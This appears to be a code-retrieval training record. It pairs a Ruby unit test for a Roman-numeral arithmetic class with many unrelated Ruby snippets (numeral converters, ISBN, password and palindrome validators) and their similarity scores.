"def roman_numeral num\n thous = (num / 1000)\n hunds = (num % 1000 / 100)\n tens = (num % 100 / 10)\n ones = (num % 10 )\n\n roman = \"M\" * thous\n if hunds == 9\n roman = roman + \"CM\" \n elsif hunds == 4\n roman = roman + \"CD\"\n else\n roman = roman + \"D\" * (num % 1000 / 500)\n roman = roman + \"C\" * (num % 500 / 100)\n end\n\n if tens == 9 \n roman = roman + \"XC\"\n elsif tens == 4\n roman = roman + \"XL\"\n else\n roman = roman + \"L\" * (num % 100 / 50) \n roman = roman + \"X\" * (num % 50 / 10)\n end\n\n if ones == 9 \n roman = roman + \"IX\"\n elsif ones == 4\n roman = roman + \"IV\"\n else\n roman = roman + \"V\" * (num % 10/ 5)\n roman = roman + \"I\" * (num % 5 / 1)\n end\n roman\n end",
"def check_input(letter)\n # does the input match the single digit length requirement?\n if letter.length() -1 == 1\n # is the input a letter or a number?\n if letter[0][/[a-zA-Z]+/] == letter[0] \n # is the input a match to the generated word? \n if $word.include? (letter[0])\n # the input matches the generated word\n return 0\n else\n # the input is valid but does not match the word\n return 1\n end\n else\n # the input meets the length requirement but is not a letter\n return 2\n end\n else\n # the input is not valid\n return 3\n end\nend",
"def validate_string(arg)\n arg.split(\"\").each do |i|\n if(i != '0' && i !='1')\n puts \"The input argument contain(s) characters other than 0 and 1. Please correct!\"\n return false\n end\n end\n end",
"def character_valid?(character)\n Amiiboproject::Amiibo.all.any? {|amiibo| amiibo.character.downcase == character}\n end",
"def letter(input)\n\t(/[a-zA-Z]{2,}(\\,)\\s?[A-Z]{2}(\\s)([0-9]{5}|[0-9]{5}(\\-)?[0-9]{4}|[a-zA-Z]{1}[0-9]{1}[a-zA-Z]{1}(\\s|\\-)?[0-9]{1}[a-zA-Z]{1}[0-9]{1})}/i =~ input)? \"true\" : \"false\"\nend",
"def roman\n return \"-#{(-self).roman}\" if self < 0\n return \"\" if self == 0\n @@roman_values_assoc.each do | (i, v) | return(i+(self-v).roman) if v <= self end\n end",
"def roman_numeral roman\n\tnumerals_hash = {\n\t\t\"i\" => 1, \n\t\t\"iv\"=> 4,\n\t\t\"v\" => 5, \n\t\t\"ix\"=> 9,\n\t\t\"x\" => 10, \n\t\t\"xl\" => 40,\n\t\t\"l\" => 50, \n\t\t\"xc\" => 90,\n\t\t\"c\" => 100, \n\t\t\"cd\" => 400,\n\t\t\"d\" => 500, \n\t\t\"cm\" => 900,\n\t\t\"m\" => 1000,\n\t\t}\n\tnumber_array = []\n\n\troman = roman.downcase\n\tinteger =0\n\n\tif roman == \"iv\"\n\t\tinteger = 4\n\telsif\troman.include? \"iv\" \n\t\tinteger += 4\n\t\troman = roman[0..roman.length-3]\n\t\troman_array = roman.downcase.split(//)\n\t\tstop_at = roman_array.length-2\n\t\t\n\t\troman_array.each do |numeral|\n\t\teach_num = numerals_hash[numeral]\n\t\tnumber_array.push each_num\n\t\tend\n\n\t\tstop_at = number_array.length-1\n\n\t\t(0..stop_at).each do |number|\n\t\tinteger += number_array[number]\n\t\tend\n\telsif roman == \"ix\"\n\t\tinteger = 9\n\telsif roman.include? \"ix\"\n\t\tinteger+=9\n\t\troman = roman[0..roman.length-3]\n\t\troman_array = roman.downcase.split(//)\n\t\tstop_at = roman_array.length-2\n\t\t\n\t\troman_array.each do |numeral|\n\t\teach_num = numerals_hash[numeral]\n\t\tnumber_array.push each_num\n\t\tend\n\n\t\tstop_at = number_array.length-1\n\n\t\t(0..stop_at).each do |number|\n\t\tinteger += number_array[number]\n\t\tend\n\telsif roman == \"xl\"\n\t\tinteger = 40\n\telsif roman.include? \"xl\"\n\t\tinteger+=40\n\t\troman = roman[0..roman.length-3]\n\t\troman_array = roman.downcase.split(//)\n\t\tstop_at = roman_array.length-2\n\t\t\n\t\troman_array.each do |numeral|\n\t\teach_num = numerals_hash[numeral]\n\t\tnumber_array.push each_num\n\t\tend\n\n\t\tstop_at = number_array.length-1\n\n\t\t(0..stop_at).each do |number|\n\t\tinteger += number_array[number]\n\t\tend\n\telsif roman == \"xc\"\n\t\tinteger = 90\n\telsif roman.include? \"xc\"\n\t\tinteger+=90\n\t\troman = roman[0..roman.length-3]\n\t\troman_array = roman.downcase.split(//)\n\t\tstop_at = roman_array.length-2\n\t\t\n\t\troman_array.each do |numeral|\n\t\teach_num = numerals_hash[numeral]\n\t\tnumber_array.push each_num\n\t\tend\n\n\t\tstop_at = number_array.length-1\n\n\t\t(0..stop_at).each do |number|\n\t\tinteger += number_array[number]\n\t\tend\n\telsif roman == \"cd\"\n\t\tinteger = 400\n\telsif roman.include? \"cd\"\n\t\tinteger+=400\n\t\troman = roman[0..roman.length-3]\n\t\troman_array = roman.downcase.split(//)\n\t\tstop_at = roman_array.length-2\n\t\t\n\t\troman_array.each do |numeral|\n\t\teach_num = numerals_hash[numeral]\n\t\tnumber_array.push each_num\n\t\tend\n\n\t\tstop_at = number_array.length-1\n\n\t\t(0..stop_at).each do |number|\n\t\tinteger += number_array[number]\n\t\tend\n\telsif roman == \"cm\"\n\t\tinteger = 900\n\telsif roman.include? \"cm\"\n\t\tinteger+=900\n\t\troman = roman[0..roman.length-3]\n\t\troman_array = roman.downcase.split(//)\n\t\tstop_at = roman_array.length-2\n\t\t\n\t\troman_array.each do |numeral|\n\t\teach_num = numerals_hash[numeral]\n\t\tnumber_array.push each_num\n\t\tend\n\n\t\tstop_at = number_array.length-1\n\n\t\t(0..stop_at).each do |number|\n\t\tinteger += number_array[number]\n\t\tend\n\telse\n\t\troman_array = roman.split(//)\n\t\tstop_at = roman_array.length-2\n\t\t\n\t\troman_array.each do |numeral|\n\t\teach_num = numerals_hash[numeral]\n\t\tnumber_array.push each_num\n\t\tend\n\n\t\tstop_at = number_array.length-1\n\n\t\t(0..stop_at).each do |number|\n\t\tinteger += number_array[number]\n\t\tend\n\tend\n\n\tinteger\n\n\t\n# # Replaces the numeral letters in our array with integers via our hash\n# roman_array.each do |numeral|\n# each_num = numerals_hash[numeral]\n# number_array.push each_num\n# end\n\n# # Creates a new 2d array, filled with smaller arrays representing each pair of \"letters\"\n# \tresult = []\n\n# \t(0..stop_at).each do |i|\n# \t\tresult.push number_array[i..i+1]\n# \tend\n\n=begin\n\t\n our code stops working here. We were trying to compare\n each pair of values in the original array to determine\n if the value should be added or subtracted from a running\n integer total that would total up the value of the \n numeral. \n\t\n\n \t\n \tstop_at_2 = result.length-1\n \tinteger = 0\n \t\n\n \t(0..stop_at_2).each do |i|\n \t\tif result[i][i] >= result[i][i+1]\n \t \t\tinteger += result[i][i]\n \t \telse\n \t \t\tinteger += (result[i][i+1]-result[i][i])\n \t \tend\n \tend\n \t\n integer\nend\n\n\nOur tests don't make much sense at this point. We were\nbuilding smaller problems and small tests to fix them, \nbuilding up to bigger problems with our original method of\ncomparing pairs of numbers against each other.\n\nclass TestNumerals < Minitest::Test\n\t def test_x\n\t \tassert_equal roman_numeral(\"x\"), 10\n\t end\t\n\n\t def test_array_split\n\t \tassert_equal roman_numeral(\"XI\"),[\"X\",\"I\"]\n\t end\n\n\t def test_array2\n\t \tassert_equal roman_numeral(\"XIVXIL\"), [10,1,5,10,1,50]\n\t end\n\n\t def test_integer1\n\t \tassert_equal 60, roman_numeral(\"LX\")\n\t end\n\n\t def test_pair_up\n\t\tassert_equal roman_numeral(\"LXXIV\"), [[50,10],[10,10],[10,1],[1,5]]\n\t end\nend\n=end\nend",
"def modern_roman (z)\n\tfirst = (z / 1000)\n\tsecond = (z % 1000 / 100)\n\tthird = (z % 100 / 10)\n\tlast = (z % 10 )\n\n\troman = \"\"\n\troman << \"M\" * first\n\n\tif second == 9\n\t\troman << \"CM\"\n\telsif second == 4\n\t\troman << \"CD\"\n\telse\n\t\troman << \"D\" * (z % 1000 / 500)\n\t\troman << \"C\" * (z % 500 / 100)\n\tend\n\n\tif third == 9\n\t\troman << \"XC\"\n\telsif third == 4\n\t\troman << \"XL\"\n\telse\n\t\troman << \"L\" * (z % 100 / 50)\n\t\troman << \"X\" * (z % 50 / 10)\n\tend\n\n\tif last == 9\n\t\troman << \"IX\"\n\telsif last == 4\n\t\troman << \"IV\"\n\telse\n\t\troman << \"V\" * (z % 10 / 5)\n\t\troman << \"I\" * (z % 5 / 1)\n\tend\nend",
"def test_seqence_valid16\n result = engine(\"trump12%\")\n refute(result, \"'trump12%' should not be valid because it does not contain upper case letters.\")\n end",
"def pandigital?(num)\n num_a = num.split('').collect{|x| x.to_i}.sort\n return true if num_a == [1, 2, 3, 4, 5, 6, 7, 8, 9]\n false\nend",
"def to_roman\n result = \"\"\n num_str = self.to_s\n str_a = num_str.split(//) # [\"1\", \"9\", \"9\", \"0\"]\n \n # case on number digits of the string array\n case str_a.size\n when 4\n result << do_digit(str_a[0], 1000)\n result << do_digit(str_a[1], 100)\n result << do_digit(str_a[2], 10 )\n result << do_digit(str_a[3], 1)\n when 3\n result << do_digit(str_a[0], 100)\n result << do_digit(str_a[1], 10)\n result << do_digit(str_a[2], 1) \n when 2\n result << do_digit(str_a[0], 10)\n result << do_digit(str_a[1], 1)\n when 1\n result << do_digit(str_a[0], 1) \n end\n result\n end",
"def enumerate( char )\n raise \"An illegal character (\" + char + \") was entered!\" unless RomanNumeral.equivalents.has_key?(char)\n RomanNumeral.equivalents[char]\n end",
"def test_palindrome_parameter_empty\n err = assert_raises EmptyDigitError do\n Palindrome.new('')\n end\n assert_match 'The argument is empty', err.message\n end",
"def to_roman\n result = \"\"\n num_str = self.to_s\n str_a = num_str.split(//) # [\"1\", \"9\", \"9\", \"0\"]\n \n # case on number digits of the string array\n case str_a.size\n when 4\n result << do_digit(str_a[0], 1000)\n result << do_digit(str_a[1], 100)\n result << do_digit(str_a[2], 10 )\n result << do_digit(str_a[3], 1)\n when 3\n result << do_digit(str_a[0], 100)\n result << do_digit(str_a[1], 10)\n result << do_digit(str_a[2], 1) \n when 2\n result << do_digit(str_a[0], 10)\n result << do_digit(str_a[1], 1)\n when 1\n result << do_digit(str_a[0], 1) \n end\n result \n end",
"def test_check_capital_false\r\n assert_equal true, @g.check_capital('abdc')\r\n end",
"def get_roman()\n num = @number\n answer = \"\"\n# you can also use: If num >= 10 \n\n while num >= 10\n answer += \"X\"\n num -= 10\n end\n if num == 9\n answer += \"IX\"\n num -= 9\n end\n if num >= 5\n answer += \"V\"\n num -= 5\n end\n if num == 4\n answer += \"IV\"\n num -= 4\n end\n answer += \"I\" * num # * @number\n return answer\n end",
"def test_to_num\n assert_equal(11, RomanMathmaticalOperation.new.send(:to_num,\"XI\"))\n assert_equal(0, RomanMathmaticalOperation.new.send(:to_num,\"wrong\"))\n assert_not_equal(11, RomanMathmaticalOperation.new.send(:to_num,\"X\"))\n end",
"def roman_numeral(num)\n digits = [[1000, 500, 100, 50, 10, 5, 1], [0, 0, 0, 0, 0, 0, 0], ['M','D','C','L','X','V','I']]\n answer = ' '\n h = 0\n \n digits[0].each do |z|\n if num / z > 0\n digits[1][h] = (num / z) #Counting the number of 10s, 50s, 100s, etc in num\n num = num % z #Using the remainder as the next value of num\n end\n h += 1\n end\n \n for a in 0..digits[1].size - 1 do #Iterate through array to calculate roman numerals old school style\n answer << digits[2][a] * digits[1][a]\n answer = answer.gsub(\"DCCCC\",\"CM\").gsub(\"CCCC\",\"CD\").gsub(\"LXXXX\",\"XC\").gsub(\"XXXX\",\"XL\").gsub(\"VIIII\",\"IX\").gsub(\"IIII\",\"IV\") #Catching edge cases to update old school roman numeral\n end\n\n answer.strip\nend",
"def to_roman(num)\n \n output = ''\n\n if num\n how_many_thousand = (num - num % 1000) / 1000\n num = num - (num - num % 1000)\n\n how_many_hundred = (num - num % 100) / 100\n num = num - (num - num % 100)\n\n how_many_tens = (num - num % 10) / 10\n num = num - (num - num % 10)\n\n how_many_ones = num - (num - num % 10)\n else\n \treturn nil\n end\n\n #adding thousands\n output << 'M' * how_many_thousand\n #adding hundreds\n if how_many_hundred == 9\n \t output << 'CM'\n \telsif how_many_hundred >= 5\n \t output << 'D' + 'C' * (how_many_hundred - 5)\n elsif how_many_hundred == 4\n output << 'CD'\n else\n output << \"C\" * how_many_hundred\n end\n #adding tens\n if how_many_tens == 9\n \t output << 'XC'\n \telsif how_many_tens >= 5 \n \t output << 'L' + 'X' * (how_many_tens - 5)\n elsif how_many_tens == 4\n output << 'XL'\n else\n output << \"X\" * how_many_tens\n end\n #adding ones\n if how_many_ones == 9\n \t output << 'IX'\n \telsif how_many_ones >= 5 \n \t output << 'V' + 'I' * (how_many_ones - 5)\n elsif how_many_ones == 4\n output << 'IV'\n else\n output << \"I\" * how_many_ones\n end\n\n output\n\nend",
"def num_to_roman_numeral num\n \n orig_num = num\n \n # Clear values for all characters before starting\n m = ''\n d = ''\n c = ''\n l = ''\n x = ''\n v = ''\n i = ''\n \n # Get 1000s\n if num/1000 >= 1\n m = 'M'*(num/1000)\n num = num%1000\n end\n \n # Get 500s\n if num/500 >= 1\n if num/100 == 9\n d = ''\n c = 'CM'\n num = num%100\n else\n d = 'D'*(num/500)\n num = num%500\n end\n end\n \n # Get 100s\n if num/100 >= 1\n c = 'C'*(num/100)\n num = num%100\n end\n \n # Get 50s\n if num/50 >= 1\n if num/10 == 9\n l = ''\n x = 'XC'\n num = num%10\n else\n l = 'L'*(num/50)\n num = num%50\n end\n end\n \n # Get 10s\n if num/10 >= 1\n if num/10 == 4\n x = 'XL'\n else\n x = 'X'*(num/10)\n end\n num = num%10\n end\n \n # Get 5s\n if num/5 >= 1\n if num == 9\n v = ''\n i = 'IX'\n num = 0\n else\n v = 'V'*(num/5)\n num = num%5\n end\n end\n \n # Get 1s\n if num >= 1\n if num == 4\n i = 'IV'\n num = 0\n else\n i = 'I'*num\n end\n end\n \n roman_numeral = m + d + c + l + x + v + i\n \n puts orig_num.to_s + ' in old roman numerals is ' + roman_numeral\nend",
"def test_valid_isbn_length_returns_false\r\n\t\tisbn_number = '123456789'\r\n\t\tassert_equal(false, valid_length?(isbn_number))\r\n\tend",
"def test_for_bigger_numbers\n\t\tassert_equal(\"MCXCI\", roman_converter(1191))\n\t\tassert_equal(\"MLXVI\", roman_converter(1066))\n\t\tassert_equal(\"XLIX\", roman_converter(49))\n\t\tassert_equal(\"CMXCIX\", roman_converter(999))\n\t\tassert_equal(\"DCLXVI\", roman_converter(666))\n\tend",
"def build_roman(digit, exp)\n roman_digits = [\n { 1 => \"I\", 5 => \"V\" },\n { 1 => \"X\", 5 => \"L\" },\n { 1 => \"C\", 5 => \"D\" },\n { 1 => \"M\" }\n ]\n\n if digit == 0\n return \"\"\n elsif digit <= 3\n return roman_digits[exp][1] * digit\n elsif digit == 4\n return roman_digits[exp][1] + roman_digits[exp][5]\n elsif digit == 5\n return roman_digits[exp][5]\n elsif digit <= 8\n return roman_digits[exp][5] + roman_digits[exp][1] * (digit - 5)\n else\n return roman_digits[exp][1] + roman_digits[exp+1][1]\n end\n end",
"def test_input_string_is_a_valid_isbn_for_10_degit\n assert_equal(false,valid_isbn?(\"0471958698\"))\n assert_equal(true,valid_isbn?(\"0 4 7-1958697\"))\n assert_equal(true,valid_isbn?(\"0471958697\"))\n assert_equal(false,valid_isbn?(\"1471958697\"))\n\n end",
"def test_palindrome_parameter_string\n err = assert_raises InvalidStringError do\n Palindrome.new('Hola mundo')\n end\n assert_match 'The argunment is a String', err.message\n end",
"def valid_palindrome(s)\n \nend",
"def roman (remainder, digit)\r\n if remainder < digit # ie you do not have any of this roman letter\r\n x = nil.to_i\r\n else\r\n x = remainder / digit\r\n end\r\n\r\n y = remainder % digit\r\n\r\n return [x,y]\r\nend",
"def letter?(s)\n\ts =~ /[A-Za-z]/\nend",
"def are_characters_valid?(isbn)\n isbn_array = isbn.split(\"\") # create an array from characters in isbn number\n valid_characters = \"0123456789 -xX\".split(\"\") # create an array of valid isbn number characters\n invalid_character_count = 0 # counter for invalid characters\n isbn_array.each do |character| # iterate through array to check each character in isbn number\n # if the current character is not in the valid characters array then increment the invalid character counter\n # and since one invalid character is enough, break if we find one to save cycles\n unless valid_characters.include?(character) then invalid_character_count += 1; break end\n end\n # if the number has invalid characters return false, otherwise run is_x_bad?()\n if invalid_character_count > 0 then return false else is_x_bad?(isbn) end\nend",
"def test_valid_10_digit_isbn767\n assert_equal(true, valid_isbn?(\"0-321 14 6530\")) \n end"
] | [
"0.7892943",
"0.7749563",
"0.7619131",
"0.68940115",
"0.684007",
"0.66177255",
"0.64185774",
"0.6376377",
"0.63310736",
"0.6309917",
"0.62908936",
"0.6218004",
"0.6204351",
"0.6199007",
"0.60995334",
"0.60858107",
"0.60556996",
"0.60522753",
"0.5950638",
"0.5947665",
"0.59464234",
"0.59144175",
"0.5905767",
"0.58920026",
"0.58892477",
"0.58759105",
"0.5875518",
"0.581745",
"0.5809779",
"0.5805809",
"0.5784052",
"0.5784052",
"0.5780137",
"0.57541424",
"0.5749022",
"0.5742369",
"0.5741194",
"0.5725238",
"0.57100105",
"0.5682743",
"0.5682722",
"0.56802726",
"0.56777847",
"0.5674298",
"0.5654504",
"0.5650326",
"0.56437075",
"0.5633849",
"0.5610812",
"0.56027",
"0.55852926",
"0.5579709",
"0.5569038",
"0.5537331",
"0.5532915",
"0.5529597",
"0.55288804",
"0.5528177",
"0.5515276",
"0.5491258",
"0.5488977",
"0.547977",
"0.5477876",
"0.54716295",
"0.5464307",
"0.5464084",
"0.5460418",
"0.54526436",
"0.5452426",
"0.5440659",
"0.5434753",
"0.54333115",
"0.5427077",
"0.5426347",
"0.54225296",
"0.5419944",
"0.541755",
"0.5416343",
"0.54126376",
"0.5410667",
"0.53991723",
"0.539753",
"0.53950065",
"0.53846174",
"0.53819937",
"0.53790903",
"0.53784883",
"0.5377541",
"0.53741705",
"0.5371479",
"0.5356387",
"0.53520477",
"0.53480536",
"0.5347303",
"0.5341434",
"0.5336312",
"0.5334361",
"0.5330456",
"0.5328357",
"0.5324323"
] | 0.7864795 | 1 |
TEST OUTPUT OF THE EXPRESSION PASSED TO THE execute_expression IF VALID INPUT(ROMAN LETTERS) GIVEN IT SHOULD RETURN VALID OUTPUT(ROMAN LETTERS) ELSE RAISE EXCEPTION | def test_execute_expression
assert_equal("L", RomanMathmaticalOperation.new("XL","+","X").execute_expression)
assert_equal("XCIX", RomanMathmaticalOperation.new("C","-","I").execute_expression)
assert_equal("X", RomanMathmaticalOperation.new("C","/","X").execute_expression)
assert_equal("C", RomanMathmaticalOperation.new("X","*","X").execute_expression)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("Y","*","X").execute_expression}
assert_equal("Not valid input", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X","*",0).execute_expression}
assert_equal("Not valid input", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X", "+").execute_expression}
assert_equal("This X or is not valid", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X", "%","V").execute_expression}
assert_equal("Operator missmatch", exception.message)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_seqence_valid16\n result = engine(\"trump12%\")\n refute(result, \"'trump12%' should not be valid because it does not contain upper case letters.\")\n end",
"def test_seqence_valid17\n result = engine(\"TRUMP12%\")\n refute(result, \"'TRUMP12%' should not be valid because it does not contain lower case letters.\")\n end",
"def test_seqence_valid19\n result = engine(\"TrumppasswORd12%\")\n refute(result, \"'Trump1%' should not be valid because it contains password.\")\n end",
"def test_valid_input\n assert_equal(nil, RomanMathmaticalOperation.new(\"X\", \"+\",\"V\").send(:valid_input))\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"+\",nil).send(:valid_input)}\n assert_equal(\"This X or is not valid\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"%\",\"V\").send(:valid_input)}\n assert_equal(\"Operator missmatch\", exception.message)\n end",
"def testRegExp(command, input)\n\treturn case command\n\twhen \"a\"\n\t\tssn(input)\n\twhen \"b\"\n\t\tphoneNumber(input)\n\twhen \"c\"\n\t\temail(input)\n\twhen \"d\"\n\t\tname(input)\n\twhen \"e\"\n\t\tdate(input)\n\twhen \"f\"\n\t\taddress(input)\n\twhen \"g\"\n\t\tletter(input)\n\twhen \"h\"\n\t\tmilitaryTime(input)\n\twhen \"i\"\n\t\tcurrency(input)\n\twhen \"j\"\n\t\twebsite(input)\n\twhen \"k\"\n\t\tpassword(input)\n\twhen \"l\"\n\t\tion(input)\n\telse \n\t\t\"Invalid input... try again.\"\n\tend\nend",
"def test_name_generator_with_invalid_input\nresult = name_generator(\"89&6\\n 5.,?<\")\nassert_equal(\"Inavalid ID. Please enter new ID with only lower case letters.\", result)\nend",
"def test_seqence_valid21\n result = engine(\"Trump123%\")\n refute(result, \"'Trump123%' should not be valid because it contains a sequence.\")\n end",
"def test_7_rejects_only_alphnumeric\n result = is_alphanumeric?(\"1Abjilsa2\")\n refute(result, \"1Abjilsa2 has no alphanumeric, should be valid\")\n end",
"def test_valid_eval\n assert_equal [11, 'valid'], @eval.evaluate([5, 6, '+'])\n end",
"def test_sequence_valid15\n result = engine(\"Trump12%\")\n assert(result, \"'Trump12%' should be valid because it contains caps, lowers, numbers and non-alpha-numerics.\")\n end",
"def test_non_alpha_numeric8\n result = non_alpha_num?(\"ryaNStantz1\")\n refute(result, \"'ryaNStantz1' should not be valid because it should be valid because it does not contain a non-alpha-numeric character\")\n end",
"def execute_expression\n valid_input\n to_roman(to_num(@operand_one).send(@operator, to_num(@operand_two)))\n end",
"def test_seqence_valid20\n result = engine(\"DonTrump%\")\n refute(result, \"'DonTrump%' should not be valid because it is too short in length.\")\n end",
"def test_is_a_letter\n assert_equal true, RPN.letter?('c').zero?\n refute_equal true, RPN.letter?('$').zero?\n end",
"def test_invalid_eval_b\n assert_equal [3, nil], @eval.evaluate([5, 4, 6, '+'])\n end",
"def test_check_capital_non_alpha\r\n assert_equal true, @g.check_capital('?!.(3')\r\n end",
"def test_non_alpha_numeric7\n result = non_alpha_num?(\"RYANSTANTz18**\")\n assert(result, \"'RYANSTANTz18**' should be valid because it contains a non-alpha-numeric character\")\n end",
"def eval(input)\n return false\n end",
"def test_seqence_valid18\n result = engine(\"Trump1%\")\n refute(result, \"'Trump1%' should not be valid because it is too short in length.\")\n end",
"def complete_expression?(str); end",
"def test_invalid_eval_a\n assert_equal [5, nil], @eval.evaluate([8, 0, '/'])\n end",
"def validate()\n if (sequenz?)\n @string.each_char do |char|\n if([email protected](/#{char}+/))\n raise \"String alphabet is not correct\\nChar: #{char}\\nString: #{@string}\" \n end\n end\n end\n end",
"def validate\n # @expression && [email protected]?\n if !@expression || @expression.blank?\n return\n elsif !Calculator.valid?(@expression)\n @expression = nil\n @mode = :invalid\n end\n end",
"def test_8_return_false_if_letter_not_in_word\r\n $word = \"test\"\r\n letter = \"d\"\r\n results = letter_test(letter)\r\n assert_equal(false, results)\r\n end",
"def assert(statement,val)\n ret = eval(statement)\n print \"Checking '#{statement.ljust(35)}': \"\n print \"Expecting #{val}, got #{ret}. \".ljust(29)\n if ret == val\n puts \"(PASS)\" \n else\n puts \"(FAIL)\" \n end\nend",
"def test_that_will_return_invalid_if_too_many_letters_or_wrong_characters\n assert_equal(\"Invalid Input\", arabic_converter(\"IIII\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"1\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"xV\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"a.]\"))\n end",
"def test_num10\n result = numbers?(\"ryaNStantz**\")\n refute(result, \"'ryaNStantz**' should not be valid because it does not contain a number\")\n end",
"def test_7_return_true_if_letter_in_word\r\n $word = \"test\"\r\n letter = \"e\"\r\n results = letter_test(letter)\r\n assert_equal(true, results)\r\n end",
"def test_message_sent_to_invalid_ID\nresult = add_characters_if_valid(\"\")\nassert_equal(\"Inavalid ID. Please enter new ID with only lower case letters.\", result)\nend",
"def test_6_accepts_includes_non_alphanumeric\n result = is_alphanumeric?(\"1Abjils&\")\n assert(result, \"1ABjils& has non alphanumeric, should be valid\")\n end",
"def test_name_generator_with_valid_input\nresult = name_generator(\"SH&$3aw(,n\")\nassert_equal(\"xX_ShAwN_Xx\", result)\nend",
"def test_letter\n test_value = RPN.letter?('a')\n assert_equal(test_value,0)\n end",
"def expected_char_checked()\n self.expected_char_checked_stm_line()\n self.expected_char_checked_stm_token()\n end",
"def test_num9\n result = numbers?(\"RYANSTANTz18**\")\n assert(result, \"'RYANSTANTz18**' should be valid because it contains a number\")\n end",
"def check_input(letter)\n # does the input match the single digit length requirement?\n if letter.length() -1 == 1\n # is the input a letter or a number?\n if letter[0][/[a-zA-Z]+/] == letter[0] \n # is the input a match to the generated word? \n if $word.include? (letter[0])\n # the input matches the generated word\n return 0\n else\n # the input is valid but does not match the word\n return 1\n end\n else\n # the input meets the length requirement but is not a letter\n return 2\n end\n else\n # the input is not valid\n return 3\n end\nend",
"def validate_input input\r\n\t\t\t\t\t\t\tif @console\r\n\t\t (input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)) && (input.size < 2)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t end\r\n\t\t end",
"def validate_input\n problems = test_input\n raise OperationalError, \"Found the following problems: #{problems}\" unless problems.empty?\n end",
"def test_check_for_letters_return_true\r\n\t\tisbn_number = '12m34X67890'\r\n\t\tassert_equal(true, check_for_letters(isbn_number))\r\n\tend",
"def validate_input_last input\r\n\t\t if @console\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t end\r\n\t\t end",
"def test_3_rejects_all_upper_case_passwords\n result = at_least_one_downcase?(\"1abjils&a\")\n assert(result, \"'1abjils&a' should be invalid because it contains no upcase\")\n #assert(result == false, \".same message as above\")\n end",
"def test_user_input_driver_print_valid\n\n end",
"def evaluate(params = nil)\n raise Error::InvalidExpressionError unless valid?\n true\n end",
"def test_check_for_num_or_x\r\n\t\tisbn_number = '123456789x'\r\n\t\tassert_equal(true, check_for_x(isbn_number))\r\n\tend",
"def test_sql_escaped\n exc_handler = HumanParseExceptionHandler.new\n new_str = exc_handler.get_human_result_for_string(\"fo'ob\\\"ar\",\"ParseException\")\n assert_equal(false, new_str)\n end",
"def letter(input)\n\t(/[a-zA-Z]{2,}(\\,)\\s?[A-Z]{2}(\\s)([0-9]{5}|[0-9]{5}(\\-)?[0-9]{4}|[a-zA-Z]{1}[0-9]{1}[a-zA-Z]{1}(\\s|\\-)?[0-9]{1}[a-zA-Z]{1}[0-9]{1})}/i =~ input)? \"true\" : \"false\"\nend",
"def check_allow_char\n if @media == AD_WORD_MEDIA\n regex = Text.const_get(get_media_setting(@media, ALLOW_CHAR_TITLE, MEDIA_PREFIX))\n is_valid_allow_char1 = valid_regex?(@title1, regex)\n is_valid_allow_char2 = valid_regex?(@title2, regex)\n if is_valid_allow_char1\n is_parenthesis_title=valid_regex?(@title1, Text.const_get(get_media_setting(@media, PARENTHESIS_TITLE, MEDIA_PREFIX)))\n #if have(true) is wrong\n is_valid_allow_char1 = !is_parenthesis_title\n end\n regex = Text.const_get(get_media_setting(@media, ALLOW_CHAR, MEDIA_PREFIX))\n else\n regex = Text.const_get(get_media_setting(@media, ALLOW_CHAR, MEDIA_PREFIX))\n is_valid_allow_char1 = valid_regex?(@title1, regex)\n is_valid_allow_char2 = valid_regex?(@title2, regex)\n end\n is_valid_allow_char_content = valid_regex?(@content, regex)\n if @title1_check == CORRECT_SYMBOL && !is_valid_allow_char1\n @title1_check = IS_VALID_CHARACTER\n elsif @title1_check != CORRECT_SYMBOL && !is_valid_allow_char1\n @title1_check = @title1_check + COMMA_SYMBOL + IS_VALID_CHARACTER\n end\n if @title2_check == CORRECT_SYMBOL && !is_valid_allow_char2\n @title2_check = IS_VALID_CHARACTER\n elsif @title2_check != CORRECT_SYMBOL && !is_valid_allow_char2\n @title2_check = @title2_check + COMMA_SYMBOL + IS_VALID_CHARACTER\n end\n if @content_check == CORRECT_SYMBOL && !is_valid_allow_char_content\n @content_check = IS_VALID_CHARACTER\n elsif @content_check != CORRECT_SYMBOL && !is_valid_allow_char_content\n @content_check = @content_check + COMMA_SYMBOL + IS_VALID_CHARACTER\n end\n end",
"def check_valid_characters(input)\n unless(input.match? /\\A[a-z A-Z0-9!@#&*()-+=\\/~;:?'-]{1,40}\\z/)\n @io.produce_output \"invalid search, please try another: \"\n @session.route(@io.receive_input.strip)\n end\n end",
"def find_exp(input, variable, expression); end",
"def test_code_1\n string = \"Line 321: Variable x is not initialized\\n\"\n assert_output(string) { Errorcode.error(1, 321, 'x') }\n end",
